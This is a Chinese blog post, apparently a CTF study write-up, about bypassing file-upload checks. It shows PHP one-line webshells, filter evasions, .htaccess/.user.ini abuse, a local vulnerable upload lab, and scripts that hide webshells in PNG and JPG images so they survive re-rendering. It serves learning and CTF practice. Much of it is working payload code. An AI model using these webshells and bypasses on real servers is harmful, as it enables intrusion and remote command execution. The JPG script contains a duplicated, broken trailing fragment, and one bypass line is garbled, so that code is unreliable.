文件上传学习

文件上传学习

最近在学习文件上传的知识点,想总结一下并做一下题目巩固一下

文件上传就是努力绕过服务器的检测,把一句话木马成功上传到服务器中,然后用RCE执行系统命令找flag,或者蚁剑等软件连接上服务器查看flag

服务器检测方法及绕过:

前端检测

​ 前端检测 —> javascript 检测 —> 修改javascript函数或控制台右上角,点击设置,在下方勾选禁用JS

​ 例如:newstarctf2023:Begin of Upload

题目

在这里插入图片描述

F12打开控制台查看源码,发现在前端有一个检测函数:

在这里插入图片描述

可以看出,这里只能上传拓展名为jpg or jpeg or png or gif 的文件,

我们可以在控制台下方重写该函数:

function validateForm()
{
     return true 
}

这时再提交我们的小木马就可以了:

在这里插入图片描述

后端检测:

​ 后端检测就是检测程序在服务器上运行,我们需要借助抓包工具修改上传文件的数据包,来绕过检测:

​ 后端检测的地方有:

​ (1)检测文件拓展名(黑白名单),白名单的话可能只允许上传图片格式,黑名单可能可以用php5,php7,phtml来绕过

​ (2).检测 content type

​ (3). 检测文件内容 —> 检测文件头 或 文件内容过滤

拓展名检测绕过方法

​ (1) 上传含木马代码的图片,配合相关配置文件

​ 1 .user.ini 文件(php配置文件) 如果能传 —> 上传并写入:

auto_prepend_file = 1.png            //把1.png 这个文件的内容包含在当前文件夹下的php文件头

如果1.jpg所在文件夹有php文件,就会被包含进去,相当于在该php文件开头中增加了一句" require(‘1.png’); " ,如果我们在上传的jpg文件里写入一句话木马,就可以远程命令执行, 访问.user.ini 所在文件夹,就会自动调用index.php,即可触发

​ 2 .htaccess 文件 apache服务器,nignx默认不支持 如果能传 —> 上传并写入

AddType application/x-httpd-php  .png    //让服务器把png文件当作php文件来执行

​ 然后上传含有木马的jpg文件即可

注意:这两个文件前面的 “.”不能漏掉

​ (2)用php5,php7,phtml等不同的php文件拓展名尝试绕过

content type绕过方法:

​ 抓包修改

在抓包工具中直接修改 把content type 修改为: image/png 或jpg…

以pikachu靶场为例:

在这里插入图片描述

​ 把红框内容改为:

在这里插入图片描述

​ 就可以上传了:

在这里插入图片描述

文件内容可能的检测及绕过 .

​ 1.检测 php —> 可以 <?= 表达式 ?>或<? 表达式 ?>代替 <?php 表达式 ?>,如果flag在php文件里就要用通配符*或其他方式来绕过检测 <?=是短标签,用于直接输出内容,echo被简化,其他如var_dump正常使用

​ 2.检测 <? —> 可以 代替 < ?= 表达式 ?>

​ 3.检测 [] —> 可以用 eval( P O S T ′ x ′ ) : 代替 e v a l ( _POST{'x'}): 代替 eval( POSTx):代替eval(_POST[‘x’]);

​ 4.检测 ; —> 直接去掉,一句话木马语句结尾就跟着 “”?> “”(定界符关闭标志) ,遇到这个标志时,系统会自动在PHP语句之后加上分号

​ 5 检测() 或system —> 用``来执行系统命令与shell_exec()效果相同, 但我在phpstorm测试时发现反引号执行命令不打印结果,可能需要配合 echo 来使用

​ 6. 检测文件头,不同格式的图片都有固定几位十六进制数字,作为文件头部序列, 服务器可能在这里做检测(getimagesize()方法),

​ 我们可以在文件头部加上 : GIF89A 或GIF87A(gif图片文件头)来绕过

​ 其他的检测及绕过方法,等我后面做题量上来了再更新吧

题目

newstarctf week2 upload again

​ 题目环境:

在这里插入图片描述

​ F12 查看页面源代码,发现前端没有检测的JS方法, 那就是后端检测

​ 先传个png图片,写入正常的一句话,看看有没有内容检测

<?php eval($_POST['x']);?>

​ 结果:

在这里插入图片描述

​ 被拦截了,由此可知,服务器针对文件内容进行了检测,可能也是content-type检测,改了总没错

​ 然后我们需要思考绕过的方法,看看检测什么,针对这个一句话,一点点的删掉内容,再上传

​ 删掉 [] —>$_POST—> () —> eval 都不行, 可能不是具体内容的检测,于是我换个标签继续尝试

<?= eval($_POST['x']);?>
<? eval($_POST['x']);?>

​ 发现还是不行,
然后我干脆只上传 eval($_POST[‘x’]); 发现上传成功

在这里插入图片描述

那就是过滤了 <? ,那我们可以这样写一句话:

<script language="php"> echo'hello' ;
       eval($_POST['x']);
   </script>

要让服务器可以执行图片里的代码,我们可以上传.user.ini 或.htacess 文件(内容上文所提来写即可)来修改服务器配置,我先尝试,user.ini,发现可以上传,但是 访问/upload 文件夹时,报了403错误

看来是uploads文件夹下没有index.php文件,于是尝试上传.htaccess 文件,发现可以上传,并访问/upload/3.png

在这里插入图片描述

配置文件生效,服务器把图片按照php代码成功执行,接下来就是远程用命令寻找并读取flag

结果:

在这里插入图片描述

二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片,我们就需要找到网站二次渲染中不会处理的地方插入小木马, 详细学习可参考这位大佬的文章:

​ 如何判断是不是二次渲染?我们可以先传一个图片上去,再下载回来,比较一下图片大小,分辨率或者直接比较二进制数据来看是否有二次渲染

​ 我们可以先本地搭建一个基本的环境来学习

实验环境搭建

​ 简陋前端

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传二次渲染</title>
</head>
<body>
<h3> 文件上传</h3>
<form action="upload.php" method="post" enctype="multipart/form-data">
    选择需要上传的文件:
    <input type="file" name="upload_file" value="浏览"/>
    <br>
    <input type="submit" name="submit" value="提交"/>
</form>
</body>
</html>

​ 后端处理

<?php
// 定义图片上传路径
define('UPLOAD_PATH', 'upload/');

$is_upload = false;
$msg = null;

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    // 获得上传文件的扩展名
    $fileext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    // 允许上传的图片后缀
    $allowed_extensions = array("jpg", "png", "gif");

    if (in_array($fileext, $allowed_extensions) && in_array($filetype, array("image/jpeg", "image/png", "image/gif"))) {
        $target_path = UPLOAD_PATH . basename($filename);

        if (move_uploaded_file($tmpname, $target_path)) {
            // 使用上传的图片生成新的图片
            $im = null;

            if ($fileext == "jpg") {
                $im = imagecreatefromjpeg($target_path);
            } elseif ($fileext == "png") {
                $im = imagecreatefrompng($target_path);
            } elseif ($fileext == "gif") {
                $im = imagecreatefromgif($target_path);
            }

            if ($im !== false) {
                // 给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()) . "." . $fileext;
                $newimagepath = UPLOAD_PATH . $newfilename;

                // 生成新的图片
                if ($fileext == "jpg") {
                    imagejpeg($im, $newimagepath);
                } elseif ($fileext == "png") {
                    imagepng($im, $newimagepath);
                } elseif ($fileext == "gif") {
                    imagegif($im, $newimagepath);
                }

                // 打印上传位置
                $img_path = UPLOAD_PATH . $newfilename;
                @unlink($target_path);
                $is_upload = true;
            } else {
                $msg = "该文件不是有效的图片格式!";
                @unlink($target_path);
            }
        } else {
            $msg = "上传出错!";
        }
    } else {
        $msg = "只允许上传后缀为.jpg或.png或.gif的图片文件!";
    }
}

// 输出结果
if ($is_upload) {

    echo "<img src=\"$img_path\" alt=\"Rendered Image\">";
    echo "图片上传成功!上传位置:$img_path";
} else {
    echo "上传失败,原因:$msg";
}
?>

十六进制编辑器下载:

搭建好环境后,我来根据大佬的文章来做一下总结:

GIF处理

​ 针对于GIF ,我们就要上传一个GIF,再下载回来,通过内容对比找出没有改变的数据,在该位置插入一句话即可

​ 开始对比:

在这里插入图片描述

​ format是原文件,after是渲染后的图片,由图可知,蓝色部分就是一样的内容,我们尝试插入一句话木马:

在这里插入图片描述

尝试上传,

在这里插入图片描述

上传成功,看看渲染后图片是否还有一句话木马,

在这里插入图片描述

​ 成功,一句话木马仍然存在,感觉在第二行插入容易保留,我在第一行和后面几行插入都没有保留

PNG处理

png 大佬介绍了手动注入和脚本生成两种方式,我这个人比较懒,就借用大佬的脚本来学习一下

​ 脚本:IDAT_png.php

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
//1.png是生成的图片名字 可以修改成其他名字
imagepng($img,'./1.png');
?>

使用方法: cmd 输入命令

php .\IDAT_png.php ff.png

ff.png 是我随便找到一个正常的png图片

生成后,我们尝试上传:

在这里插入图片描述

上传成功,拿下来看看里面的一句话还在不在

在这里插入图片描述

​ 一句话木马还在,成功!

JPG处理

jpg的图片马我们也可以通过大佬给的脚本来生成

脚本:jpg_payload.php

<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/
//一句话木马
$miniPayload = "<?=phpinfo()?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}

      }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

用法:

 php jpg_payload.php jpg3.jpg

jpg3.jpg是我们需要找的一个正常的jpg图片,然后运用脚本注入一句话,但是不一定能在二次渲染中保留下来,大佬也说了要多试几张图片,我试了十多张都不行,裂开

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值